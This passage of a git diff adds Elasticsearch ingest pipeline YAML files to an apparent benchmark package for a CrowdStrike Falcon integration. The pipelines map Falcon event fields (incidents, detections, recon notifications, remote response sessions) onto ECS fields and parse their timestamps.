rename_remote_address_to_destination_ip + if: ctx.crowdstrike?.event?.RemoteAddress != null && ctx.network?.direction == "egress" + - rename: + field: crowdstrike.event.LocalAddress + target_field: source.ip + ignore_missing: true + tag: rename_local_address_to_source_ip + if: ctx.crowdstrike?.event?.LocalAddress != null && ctx.network?.direction == "egress" + - convert: + field: crowdstrike.event.LocalPort + target_field: source.port + type: long + ignore_missing: true + tag: convert_local_port_to_source_port + if: ctx.crowdstrike?.event?.LocalPort != null && ctx.network?.direction == "egress" + - convert: + field: crowdstrike.event.RemotePort + target_field: destination.port + type: long + ignore_missing: true + tag: convert_remote_port_to_destination_port + if: ctx.crowdstrike?.event?.RemotePort != null && ctx.network?.direction == "egress" + - rename: + field: crowdstrike.event.Platform + target_field: host.os.platform + ignore_missing: true + tag: rename_Platform +on_failure: + - append: + field: error.message + value: |- + Processor "{{{ _ingest.on_failure_processor_type }}}" with tag "{{{ _ingest.on_failure_processor_tag }}}" in pipeline "{{{ _ingest.on_failure_pipeline }}}" failed with message "{{{ _ingest.on_failure_message }}}" + - set: + field: event.kind + value: pipeline_error + - append: + field: tags + value: preserve_original_event + allow_duplicates: false diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/identity_protection_incident.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/identity_protection_incident.yml new file mode 100644 index 0000000000..92d680834c --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/identity_protection_incident.yml @@ -0,0 +1,131 @@ +--- +processors: + - set: + field: event.kind + value: event + tag: set_event_kind + - append: + field: event.category + value: iam + tag: append_iam_category + - append: + field: event.type + value: info + tag: append_info_type + - rename: + field: crowdstrike.event.IncidentType + target_field: event.action + ignore_missing: true + tag: rename_incident_type + - rename: + field: crowdstrike.event.IncidentDescription + target_field: message + ignore_missing: true + tag: rename_incident_description + - rename: + field: crowdstrike.event.IdentityProtectionIncidentId + target_field: event.id + ignore_missing: true + tag: rename_identity_protection_incident_id + - rename: + field: crowdstrike.event.FalconHostLink + target_field: event.reference + ignore_missing: true + tag: rename_falcon_host_link + - rename: + field: crowdstrike.event.UserName + target_field: user.name + ignore_missing: true + tag: rename_user_name + - dissect: + if: ctx.user?.name != null && ctx.user.name.contains('\\') + tag: dissect_user_name + field: user.name + pattern: '%{user.domain}\%{user.name}' + - rename: + field: crowdstrike.event.EndpointName + target_field: host.hostname + ignore_missing: true + tag: rename_endpoint_name + - append: + field: host.ip + value: '{{{crowdstrike.event.EndpointIp}}}' + if: ctx.crowdstrike?.event?.EndpointIp != null && ctx.crowdstrike.event.EndpointIp != '' + tag: append_host_ip + - remove: + field: crowdstrike.event.EndpointIp + if: ctx.crowdstrike?.event?.EndpointIp != null + tag: remove_host_ip + - convert: + field: crowdstrike.event.StartTime + type: string + tag: convert_start_time_epoch + ignore_missing: true + if: ctx.crowdstrike?.event?.StartTime != null + - gsub: + field: crowdstrike.event.StartTime + pattern: "\\d{6}$" + replacement: "" + tag: gsub_start_time_epoch + if: "ctx.crowdstrike?.event?.StartTime != null && ctx.crowdstrike.event.StartTime.length() > 18" + - date: + field: crowdstrike.event.StartTime + target_field: event.start + timezone: UTC + formats: + - UNIX_MS + tag: date_event_start_time_epoch_ms + if: "ctx.crowdstrike?.event?.StartTime != null && ctx.crowdstrike.event.StartTime.length() >= 12" + - date: + field: crowdstrike.event.StartTime + target_field: event.start + timezone: UTC + formats: + - UNIX + tag: date_event_start_time_epoch + if: 'ctx.crowdstrike?.event?.StartTime != null && ctx.crowdstrike.event.StartTime.length() <= 11' + - convert: + field: crowdstrike.event.EndTime + type: string + tag: convert_end_time_epoch + ignore_missing: true + if: ctx.crowdstrike?.event?.EndTime != null + - gsub: + field: crowdstrike.event.EndTime + pattern: "\\d{6}$" + replacement: "" + tag: gsub_end_time_epoch + if: "ctx.crowdstrike?.event?.EndTime != null && ctx.crowdstrike.event.EndTime.length() > 18" + - date: + field: crowdstrike.event.EndTime + target_field: event.end + timezone: UTC + formats: + - UNIX_MS + tag: date_event_end_time_epoch_ms + if: "ctx.crowdstrike?.event?.EndTime != null && ctx.crowdstrike.event.EndTime.length() >= 12" + - date: + field: crowdstrike.event.EndTime + target_field: event.end + timezone: UTC + formats: + - UNIX + tag: date_event_end_time_epoch + if: 'ctx.crowdstrike?.event?.EndTime != null && ctx.crowdstrike.event.EndTime.length() <= 11' + - set: + field: '@timestamp' + copy_from: event.start + tag: copy_timestamp_from_event_start + if: ctx.event?.start != null +on_failure: + - set: + field: event.kind + value: pipeline_error + - append: + field: tags + value: preserve_original_event + allow_duplicates: false + - append: + field: error.message + value: |- + Processor "{{{ _ingest.on_failure_processor_type }}}" with tag "{{{ _ingest.on_failure_processor_tag }}}" in pipeline "{{{ _ingest.on_failure_pipeline }}}" failed with message "{{{ _ingest.on_failure_message }}}" diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/incident_summary.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/incident_summary.yml new file mode 100644 index 0000000000..3355f574f9 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/incident_summary.yml @@ -0,0 +1,96 @@ +--- +processors: + - set: + tag: set_event_kind_39295792 + field: event.kind + value: alert + - append: + field: event.category + value: malware + tag: append_malware_category + - append: + field: event.type + value: info + tag: append_info_type + - append: + field: event.action + value: incident + tag: append_incident_action + - grok: + tag: grok_crowdstrike_event_UserId_70ae09b7 + field: crowdstrike.event.UserId + patterns: + - '%{USERNAME:user.name}@%{HOSTNAME:user.domain}' + - '%{GREEDYDATA:user.name}' + ignore_missing: true + ignore_failure: true + - set: + field: user.email + copy_from: crowdstrike.event.UserId + tag: copy_user_email + if: ctx.crowdstrike?.event?.UserId != null && ctx.crowdstrike.event.UserId.indexOf("@") > 0 + - date: + field: crowdstrike.event.IncidentStartTime + target_field: event.start + timezone: UTC + formats: + - UNIX_MS + tag: date_incident_start_time_ms + if: 'ctx.crowdstrike?.event?.IncidentStartTime != null && String.valueOf(ctx.crowdstrike.event.IncidentStartTime).length() >= 12' + - date: + field: crowdstrike.event.IncidentStartTime + target_field: event.start + timezone: UTC + formats: + - UNIX + tag: date_incident_start_time + if: 'ctx.crowdstrike?.event?.IncidentStartTime != null && String.valueOf(ctx.crowdstrike.event.IncidentStartTime).length() <= 11' + - date: + field: crowdstrike.event.IncidentEndTime + target_field: event.end + timezone: UTC + formats: + - UNIX_MS + tag: date_incident_end_time_ms + if: 'ctx.crowdstrike?.event?.IncidentEndTime != null && String.valueOf(ctx.crowdstrike.event.IncidentEndTime).length() >= 12' + - date: + field: crowdstrike.event.IncidentEndTime + target_field: event.end + timezone: UTC + formats: + - UNIX + tag: date_incident_end_time + if: 'ctx.crowdstrike?.event?.IncidentEndTime != null && String.valueOf(ctx.crowdstrike.event.IncidentEndTime).length() <= 11' + - rename: + field: crowdstrike.event.FalconHostLink + target_field: event.reference + ignore_missing: true + tag: rename_falcon_host_link + - rename: + field: crowdstrike.event.HostID + target_field: host.id + ignore_missing: true + tag: rename_host_id + - rename: + field: crowdstrike.event.IncidentID + target_field: event.id + ignore_missing: true + tag: rename_incident_id + - set: + field: message + value: "Incident score {{{crowdstrike.event.FineScore}}}" + tag: set_message + if: ctx.crowdstrike?.event?.FineScore != null + +on_failure: + - append: + field: error.message + value: |- + Processor "{{{ _ingest.on_failure_processor_type }}}" with tag "{{{ _ingest.on_failure_processor_tag }}}" in pipeline "{{{ _ingest.on_failure_pipeline }}}" failed with message "{{{ _ingest.on_failure_message }}}" + - set: + field: event.kind + value: pipeline_error + - append: + field: tags + value: preserve_original_event + allow_duplicates: false diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/ipd_detection_summary.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/ipd_detection_summary.yml new file mode 100644 index 0000000000..6f19607e78 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/ipd_detection_summary.yml @@ -0,0 +1,286 @@ +--- +processors: + - set: + tag: set_event_kind_39295792 + field: event.kind + value: alert + - append: + field: event.category + value: malware + tag: append_malware_category + - append: + field: event.type + value: info + tag: append_info_type + - set: + tag: set_event_action_9543b2bf + field: event.action + value: ipd-detection + - set: + tag: set_event_outcome_60052845 + field: event.outcome + value: success + if: ctx.crowdstrike?.event?.AttemptOutcome == true + - set: + tag: set_event_outcome_dd25ba45 + field: event.outcome + value: failure + if: ctx.crowdstrike?.event?.AttemptOutcome == false + - rename: + field: crowdstrike.event.DetectDescription + target_field: message + ignore_missing: true + tag: rename_detect_description + - rename: + field: crowdstrike.event.LocationCountryCode + target_field: host.geo.country_iso_code + ignore_missing: true + tag: rename_location_country_code + - convert: + field: crowdstrike.event.PatternId + target_field: rule.uuid + type: string + tag: convert_pattern_id + ignore_missing: true + - rename: + field: crowdstrike.event.SourceAccountDomain + target_field: user.domain + ignore_missing: true + tag: rename_source_account_domain + - rename: + field: crowdstrike.event.SourceAccountName + target_field: user.name + ignore_missing: true + tag: rename_source_account_name + - rename: + field: crowdstrike.event.SourceAccountObjectSid + target_field: user.id + ignore_missing: true + tag: rename_source_account_object_sid + - rename: + field: crowdstrike.event.SourceEndpointHostName + target_field: host.name + ignore_missing: true + tag: rename_source_endpoint_hostname + - append: + field: host.ip + value: '{{{crowdstrike.event.SourceEndpointIpAddress}}}' + if: ctx.crowdstrike?.event?.SourceEndpointIpAddress != null && ctx.crowdstrike.event.SourceEndpointIpAddress != '' + tag: append_host_ip + - remove: + field: crowdstrike.event.SourceEndpointIpAddress + if: ctx.crowdstrike?.event?.SourceEndpointIpAddress != null + tag: remove_host_ip + - append: + field: threat.technique.name + value: "{{{crowdstrike.event.Technique}}}" + tag: append_technique_name + if: ctx.crowdstrike?.event?.Technique != null + - append: + field: threat.technique.id + value: "{{{crowdstrike.event.TechniqueId}}}" + tag: append_technique_id + if: ctx.crowdstrike?.event?.TechniqueId != null + - append: + field: threat.tactic.name + value: "{{{crowdstrike.event.Tactic}}}" + tag: append_tactic_name + if: ctx.crowdstrike?.event?.Tactic != null + - append: + field: threat.tactic.id + value: "{{{crowdstrike.event.TacticId}}}" + tag: append_tactic_id + if: ctx.crowdstrike?.event?.TacticId != null + - set: + field: rule.description + copy_from: message + tag: set_rule_description + if: ctx.message != null + - rename: + field: crowdstrike.event.DetectName + target_field: rule.name + ignore_missing: true + tag: rename_detect_name + - rename: + field: crowdstrike.event.DetectId + target_field: rule.id + ignore_missing: true + tag: rename_detect_id + - rename: + field: crowdstrike.event.FalconHostLink + target_field: event.reference + ignore_missing: true + tag: rename_falcon_host_link + - remove: + tag: remove_9545c61d + field: + - event.created + ignore_missing: true + if: ctx.crowdstrike?.event?.ContextTimeStamp != null + - convert: + field: crowdstrike.event.ContextTimeStamp + type: string + tag: convert_context_timestamp + ignore_missing: true + if: ctx.crowdstrike?.event?.ContextTimeStamp != null + - gsub: + field: crowdstrike.event.ContextTimeStamp + pattern: "\\d{6}$" + replacement: "" + tag: gsub_context_timestamp + if: "ctx.crowdstrike?.event?.ContextTimeStamp != null && ctx.crowdstrike.event.ContextTimeStamp.length() > 18" + - date: + field: crowdstrike.event.ContextTimeStamp + target_field: event.created + timezone: UTC + formats: + - UNIX_MS + tag: date_context_timestamp_ms + if: "ctx.crowdstrike?.event?.ContextTimeStamp != null && ctx.crowdstrike.event.ContextTimeStamp.length() >= 12" + - date: + field: crowdstrike.event.ContextTimeStamp + target_field: event.created + timezone: UTC + formats: + - UNIX + tag: date_context_timestamp + if: 'ctx.crowdstrike?.event?.ContextTimeStamp != null && ctx.crowdstrike.event.ContextTimeStamp.length() <= 11' + - convert: + field: crowdstrike.event.AccountCreationTimeStamp + type: string + tag: convert_account_creation_timestamp + ignore_missing: true + if: ctx.crowdstrike?.event?.AccountCreationTimeStamp != null + - gsub: + field: crowdstrike.event.AccountCreationTimeStamp + pattern: "\\d{6}$" + replacement: "" + tag: gsub_account_creation_timestamp + if: "ctx.crowdstrike?.event?.AccountCreationTimeStamp != null && ctx.crowdstrike.event.AccountCreationTimeStamp.length() > 18" + - date: + field: crowdstrike.event.AccountCreationTimeStamp + target_field: crowdstrike.event.AccountCreationTimeStamp + timezone: UTC + formats: + - UNIX_MS + tag: date_account_creation_timestamp_ms + if: "ctx.crowdstrike?.event?.AccountCreationTimeStamp != null && ctx.crowdstrike.event.AccountCreationTimeStamp.length() >= 12" + - date: + field: crowdstrike.event.AccountCreationTimeStamp + target_field: crowdstrike.event.AccountCreationTimeStamp + timezone: UTC + formats: + - UNIX + tag: date_account_creation_timestamp + if: 'ctx.crowdstrike?.event?.AccountCreationTimeStamp != null && ctx.crowdstrike.event.AccountCreationTimeStamp.length() <= 11' + - convert: + field: crowdstrike.event.StartTime + type: string + tag: convert_start_time_epoch + ignore_missing: true + if: ctx.crowdstrike?.event?.StartTime != null + - gsub: + field: crowdstrike.event.StartTime + pattern: "\\d{6}$" + replacement: "" + tag: gsub_start_time_epoch + if: "ctx.crowdstrike?.event?.StartTime != null && ctx.crowdstrike.event.StartTime.length() > 18" + - date: + field: crowdstrike.event.StartTime + target_field: event.start + timezone: UTC + formats: + - UNIX_MS + tag: date_event_start_time_epoch_ms + if: "ctx.crowdstrike?.event?.StartTime != null && ctx.crowdstrike.event.StartTime.length() >= 12" + - date: + field: crowdstrike.event.StartTime + target_field: event.start + timezone: UTC + formats: + - UNIX + tag: date_event_start_time_epoch + if: 'ctx.crowdstrike?.event?.StartTime != null && ctx.crowdstrike.event.StartTime.length() <= 11' + - convert: + field: crowdstrike.event.EndTime + type: string + tag: convert_end_time_epoch + ignore_missing: true + if: ctx.crowdstrike?.event?.EndTime != null + - gsub: + field: crowdstrike.event.EndTime + pattern: "\\d{6}$" + replacement: "" + tag: gsub_end_time_epoch + if: "ctx.crowdstrike?.event?.EndTime != null && ctx.crowdstrike.event.EndTime.length() > 18" + - date: + field: crowdstrike.event.EndTime + target_field: event.end + timezone: UTC + formats: + - UNIX_MS + tag: date_event_end_time_epoch_ms + if: "ctx.crowdstrike?.event?.EndTime != null && ctx.crowdstrike.event.EndTime.length() >= 12" + - date: + field: crowdstrike.event.EndTime + target_field: event.end + timezone: UTC + formats: + - UNIX + tag: date_event_end_time_epoch + if: 'ctx.crowdstrike?.event?.EndTime != null && ctx.crowdstrike.event.EndTime.length() <= 11' + - append: + field: related.hosts + value: "{{{crowdstrike.event.TargetEndpointHostName}}}" + allow_duplicates: false + tag: append_target_endpoint_hostname + if: ctx.crowdstrike?.event?.TargetEndpointHostName != null + - append: + field: related.hosts + value: "{{{crowdstrike.event.TargetDomain}}}" + allow_duplicates: false + tag: append_target_domain + if: ctx.crowdstrike?.event?.TargetDomain != null + - append: + field: related.user + value: "{{{crowdstrike.event.TargetAccountName}}}" + allow_duplicates: false + tag: append_target_account_name + if: ctx.crowdstrike?.event?.TargetAccountName != null + - append: + field: related.hosts + value: "{{{crowdstrike.event.AdditionalAccountDomain}}}" + allow_duplicates: false + tag: append_additional_account_domain + if: ctx.crowdstrike?.event?.AdditionalAccountDomain != null + - append: + field: related.hosts + value: "{{{crowdstrike.event.AdditionalAccountName}}}" + allow_duplicates: false + tag: append_additional_account_name + if: ctx.crowdstrike?.event?.AdditionalAccountName != null + - append: + field: related.hosts + value: "{{{crowdstrike.event.AdditionalEndpointHostName}}}" + allow_duplicates: false + tag: append_additional_endpoint_hostname + if: ctx.crowdstrike?.event?.AdditionalEndpointHostName != null + - append: + field: related.ip + value: "{{{crowdstrike.event.AdditionalEndpointIpAddress}}}" + allow_duplicates: false + tag: append_additional_endpoint_ip + if: ctx.crowdstrike?.event?.AdditionalEndpointIpAddress != null + +on_failure: + - append: + field: error.message + value: |- + Processor "{{{ _ingest.on_failure_processor_type }}}" with tag "{{{ _ingest.on_failure_processor_tag }}}" in pipeline "{{{ _ingest.on_failure_pipeline }}}" failed with message "{{{ _ingest.on_failure_message }}}" + - set: + field: event.kind + value: pipeline_error + - append: + field: tags + value: preserve_original_event + allow_duplicates: false diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/mobile_detection_summary.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/mobile_detection_summary.yml new file mode 100644 index 0000000000..9740e47c9e --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/mobile_detection_summary.yml @@ -0,0 +1,123 @@ +--- +processors: + - set: + field: event.kind + value: alert + tag: set_event_kind + - append: + field: event.category + value: malware + tag: append_malware_category + - append: + field: event.type + value: info + tag: append_info_type + - set: + tag: set_event_action_2bf36a54 + field: event.action + value: mobile-detection + - remove: + field: event.created + if: ctx.crowdstrike?.event?.ContextTimeStamp != null + tag: remove_event_created + ignore_missing: true + - date: + field: crowdstrike.event.ContextTimeStamp + target_field: event.created + timezone: UTC + formats: + - UNIX + tag: date_event_creation_time + if: 'ctx.crowdstrike?.event?.ContextTimeStamp != null && String.valueOf(ctx.crowdstrike.event.ContextTimeStamp).length() <= 11' + - date: + field: crowdstrike.event.ContextTimeStamp + target_field: event.created + timezone: UTC + formats: + - UNIX_MS + tag: date_event_creation_time_ms + if: 'ctx.crowdstrike?.event?.ContextTimeStamp != null && String.valueOf(ctx.crowdstrike.event.ContextTimeStamp).length() >= 12' + - rename: + field: crowdstrike.event.MobileDetectionId + target_field: event.id + ignore_missing: true + tag: rename_mobile_detect_id + - convert: + field: event.id + type: string + ignore_missing: true + tag: convert_event_id_to_string + - rename: + field: crowdstrike.event.DetectId + target_field: rule.id + ignore_missing: true + tag: rename_detect_id + - rename: + field: crowdstrike.event.DetectName + target_field: rule.name + ignore_missing: true + tag: rename_detect_name + - rename: + field: crowdstrike.event.DetectDescription + target_field: rule.description + ignore_missing: true + tag: rename_detect_description +# Threat fields: the default pipeline sets threat.framework from the threat.* fields. + - append: + field: threat.technique.name + value: "{{{crowdstrike.event.Technique}}}" + tag: append_technique_name + if: ctx.crowdstrike?.event?.Technique != null + - append: + field: threat.technique.id + value: "{{{crowdstrike.event.TechniqueId}}}" + tag: append_technique_id + if: ctx.crowdstrike?.event?.TechniqueId != null + - append: + field: threat.tactic.name + value: "{{{crowdstrike.event.Tactic}}}" + tag: append_tactic_name + if: ctx.crowdstrike?.event?.Tactic != null + - append: + field: threat.tactic.id + value: "{{{crowdstrike.event.TacticId}}}" + tag: append_tactic_id + if: ctx.crowdstrike?.event?.TacticId != null + - rename: + field: crowdstrike.event.ComputerName + target_field: host.name + ignore_missing: true + tag: rename_computer_name + - rename: + field: crowdstrike.event.UserName + target_field: user.name + ignore_missing: true + tag: rename_user_name + - rename: + field: crowdstrike.event.FalconHostLink + target_field: event.reference + ignore_missing: true + tag: rename_falcon_host_link + - rename: + field: crowdstrike.event.SensorId + target_field: device.id + ignore_missing: true + tag: rename_sensor_id + - rename: + field: crowdstrike.event.ProcessId + target_field: process.pid + ignore_missing: true + tag: rename_process_id + +on_failure: + - append: + field: error.message + value: |- + Processor "{{{ _ingest.on_failure_processor_type }}}" with tag "{{{ _ingest.on_failure_processor_tag }}}" in pipeline "{{{ _ingest.on_failure_pipeline }}}" failed with message "{{{ _ingest.on_failure_message }}}" + - set: + field: event.kind + value: pipeline_error + - append: + field: tags + value: preserve_original_event + allow_duplicates: false diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/recon_notification_summary.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/recon_notification_summary.yml new file mode 100644 index 0000000000..a36073c600 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/recon_notification_summary.yml @@ -0,0 +1,94 @@ +--- +processors: + - set: + tag: set_event_kind_de80643c + field: event.kind + value: event + - append: + field: event.category + value: threat + tag: append_threat_category + - append: + field: event.type + value: indicator + tag: append_indicator_type + - set: + tag: set_event_action_8e0d2082 + field: event.action + value: recon-notification + if: ctx.crowdstrike?.event?.ItemType == null + - set: + tag: set_event_action_d066e9f9 + field: event.action + value: "recon-notification-{{{crowdstrike.event.ItemType}}}" + if: ctx.crowdstrike?.event?.ItemType != null + - rename: + field: crowdstrike.event.ItemId + target_field: event.id + ignore_missing: true + tag: rename_item_id + - rename: + field: crowdstrike.event.RuleId + target_field: rule.id + ignore_missing: true + tag: rename_rule_id + - rename: + field: crowdstrike.event.RuleName + target_field: rule.name + ignore_missing: true + tag: rename_rule_name + - set: + field: rule.ruleset + copy_from: crowdstrike.event.RuleTopic + ignore_empty_value: true + tag: set_rule_ruleset + - rename: + field: crowdstrike.event.RuleTopic + target_field: rule.description + ignore_missing: true + tag: rename_rule_topic + - date: + field: crowdstrike.event.MatchedTimestamp + target_field: event.created + timezone: UTC + formats: + - UNIX_MS + tag: date_event_matched_timestamp_ms + if: "ctx.crowdstrike?.event?.MatchedTimestamp != null && String.valueOf(ctx.crowdstrike.event.MatchedTimestamp).length() >= 12" + - date: + field: crowdstrike.event.MatchedTimestamp + target_field: event.created + timezone: UTC + formats: + - UNIX + tag: date_event_matched_timestamp + if: 'ctx.crowdstrike?.event?.MatchedTimestamp != null && String.valueOf(ctx.crowdstrike.event.MatchedTimestamp).length() <= 11' + - date: + field: crowdstrike.event.ItemPostedTimestamp + target_field: event.created + timezone: UTC + formats: + - UNIX_MS + tag: date_item_posted_timestamp_ms + if: "ctx.crowdstrike?.event?.ItemPostedTimestamp != null && String.valueOf(ctx.crowdstrike.event.ItemPostedTimestamp).length() >= 12" + - date: + field: crowdstrike.event.ItemPostedTimestamp + target_field: event.created + timezone: UTC + formats: + - UNIX + tag: date_item_posted_timestamp + if: 'ctx.crowdstrike?.event?.ItemPostedTimestamp != null && String.valueOf(ctx.crowdstrike.event.ItemPostedTimestamp).length() <= 11' + +on_failure: + - append: + field: error.message + value: |- + Processor "{{{ _ingest.on_failure_processor_type }}}" with tag "{{{ _ingest.on_failure_processor_tag }}}" in pipeline "{{{ _ingest.on_failure_pipeline }}}" failed with message "{{{ _ingest.on_failure_message }}}" + - set: + field: event.kind + value: pipeline_error + - append: + field: tags + value: preserve_original_event + allow_duplicates: false diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/remote_response_session_end.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/remote_response_session_end.yml new file mode 100644 index 0000000000..4c0a4df96a --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/remote_response_session_end.yml @@ -0,0 +1,71 @@ +--- +processors: + - set: + tag: set_event_kind_de80643c + field: event.kind + value: event + - append: + field: event.category + value: + - network + - session + tag: append_network_category + - append: + field: event.action + value: remote_response_session_end_event + tag: append_remote_action + - append: + field: event.type + value: end + tag: append_end_type + - grok: + tag: grok_crowdstrike_event_UserName_6c9dafb5 + field: crowdstrike.event.UserName + patterns: + - '%{USERNAME:user.name}@%{HOSTNAME:user.domain}' + - '%{GREEDYDATA:user.name}' + ignore_missing: true + ignore_failure: true + - set: + field: user.email + copy_from: crowdstrike.event.UserName + tag: copy_user_email + if: ctx.crowdstrike?.event?.UserName != null && ctx.crowdstrike.event.UserName.indexOf("@") > 0 + - date: + field: crowdstrike.event.EndTimestamp + target_field: event.end + timezone: UTC + formats: + - UNIX_MS + tag: date_end_timestamp_ms + if: 'ctx.crowdstrike?.event?.EndTimestamp != null && String.valueOf(ctx.crowdstrike.event.EndTimestamp).length() >= 12' + - date: + field: crowdstrike.event.EndTimestamp + target_field: event.end + timezone: UTC + formats: + - UNIX + tag: date_end_timestamp + if: 'ctx.crowdstrike?.event?.EndTimestamp != null && String.valueOf(ctx.crowdstrike.event.EndTimestamp).length() <= 11' + - set: + field: message + value: Remote response session ended. + tag: set_message + - rename: + field: crowdstrike.event.HostnameField + target_field: host.name + ignore_missing: true + tag: rename_hostname_field + +on_failure: + - append: + field: error.message + value: |- + Processor "{{{ _ingest.on_failure_processor_type }}}" with tag "{{{ _ingest.on_failure_processor_tag }}}" in pipeline "{{{ _ingest.on_failure_pipeline }}}" failed with message "{{{ _ingest.on_failure_message }}}" + - set: + field: event.kind + value: pipeline_error + - append: + field: tags + value: preserve_original_event + allow_duplicates: false diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/remote_response_session_start.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/remote_response_session_start.yml new file mode 100644 index 0000000000..b591a61638 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/remote_response_session_start.yml @@ -0,0 +1,71 @@ +--- +processors: + - set: + tag: set_event_kind_de80643c + field: event.kind + value: event + - append: + field: event.category + value: + - network + - session + tag: append_network_category + - append: + field: event.action + value: remote_response_session_start_event + tag: append_remote_action + - append: + field: event.type + value: start + tag: append_start_type + - grok: + tag: grok_crowdstrike_event_UserName_6c9dafb5 + field: crowdstrike.event.UserName + patterns: + - '%{USERNAME:user.name}@%{HOSTNAME:user.domain}' + - '%{GREEDYDATA:user.name}' + ignore_missing: true + ignore_failure: true + - set: + field: user.email + copy_from: crowdstrike.event.UserName + tag: copy_user_email + if: ctx.crowdstrike?.event?.UserName != null && ctx.crowdstrike.event.UserName.indexOf("@") > 0 + - date: + field: crowdstrike.event.StartTimestamp + target_field: event.start + timezone: UTC + formats: + - UNIX_MS + tag: date_start_timestamp_ms + if: 'ctx.crowdstrike?.event?.StartTimestamp != null && String.valueOf(ctx.crowdstrike.event.StartTimestamp).length() >= 12' + - date: + field: crowdstrike.event.StartTimestamp + target_field: event.start + timezone: UTC + formats: + - UNIX + tag: date_start_timestamp + if: 'ctx.crowdstrike?.event?.StartTimestamp != null && String.valueOf(ctx.crowdstrike.event.StartTimestamp).length() <= 11' + - set: + field: message + value: Remote response session started. + tag: set_message + - rename: + field: crowdstrike.event.HostnameField + target_field: host.name + ignore_missing: true + tag: rename_hostname_field + +on_failure: + - append: + field: error.message + value: |- + Processor "{{{ _ingest.on_failure_processor_type }}}" with tag "{{{ _ingest.on_failure_processor_tag }}}" in pipeline "{{{ _ingest.on_failure_pipeline }}}" failed with message "{{{ _ingest.on_failure_message }}}" + - set: + field: event.kind + value: pipeline_error + - append: + field: tags + value: preserve_original_event + allow_duplicates: false diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/scheduled_report_notification_event.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/scheduled_report_notification_event.yml new file mode 100644 index 0000000000..ac3756a62a --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/scheduled_report_notification_event.yml @@ -0,0 +1,70 @@ +--- +description: Pipeline for processing Scheduled Report Notification Event. +processors: + - set: + tag: set_event_kind_de80643c + field: event.kind + value: event + - date: + field: crowdstrike.event.ExecutionMetadata.ExecutionStart + timezone: UTC + formats: + - UNIX_MS + tag: date_execution_start_ms + if: 'ctx.crowdstrike?.event?.ExecutionMetadata?.ExecutionStart != null && String.valueOf(ctx.crowdstrike.event.ExecutionMetadata.ExecutionStart).length() >= 12' + - date: + field: crowdstrike.event.ExecutionMetadata.SearchWindowStart + timezone: UTC + formats: + - UNIX_MS + tag: date_search_window_start_ms + if: 'ctx.crowdstrike?.event?.ExecutionMetadata?.SearchWindowStart != null && String.valueOf(ctx.crowdstrike.event.ExecutionMetadata.SearchWindowStart).length() >= 12' + - date: + field: crowdstrike.event.ExecutionMetadata.SearchWindowEnd + timezone: UTC + formats: + - UNIX_MS + tag: date_search_window_end_ms + if: 'ctx.crowdstrike?.event?.ExecutionMetadata?.SearchWindowEnd != null && String.valueOf(ctx.crowdstrike.event.ExecutionMetadata.SearchWindowEnd).length() >= 12' + - convert: + field: crowdstrike.event.ExecutionMetadata.ExecutionDuration + type: long + tag: convert_ExecutionDuration + ignore_missing: true + - convert: + field: crowdstrike.event.ExecutionMetadata.ResultCount + type: long + tag: convert_ResultCount + ignore_missing: true + - rename: + field: crowdstrike.event.UserID + target_field: user.id + ignore_missing: true + tag: rename_userID + - dissect: + if: ctx.user?.id != null && ctx.user.id.contains('@') + tag: dissect_user_id + field: user.id + pattern: '%{user.name}@%{user.domain}' + - set: + field: user.email + copy_from: user.id + tag: copy_user_email + if: ctx.user?.id != null && ctx.user.id.indexOf("@") > 0 + - convert: + field: crowdstrike.event.Status + type: string + tag: convert_Status + ignore_missing: true +on_failure: + - append: + field: error.message + value: |- + Processor "{{{ _ingest.on_failure_processor_type }}}" with tag "{{{ _ingest.on_failure_processor_tag }}}" in pipeline "{{{ _ingest.on_failure_pipeline }}}" failed with message "{{{ _ingest.on_failure_message }}}" + - set: + field: event.kind + value: pipeline_error + - append: + field: tags + value: preserve_original_event + allow_duplicates: false diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/user_activity_audit.yml 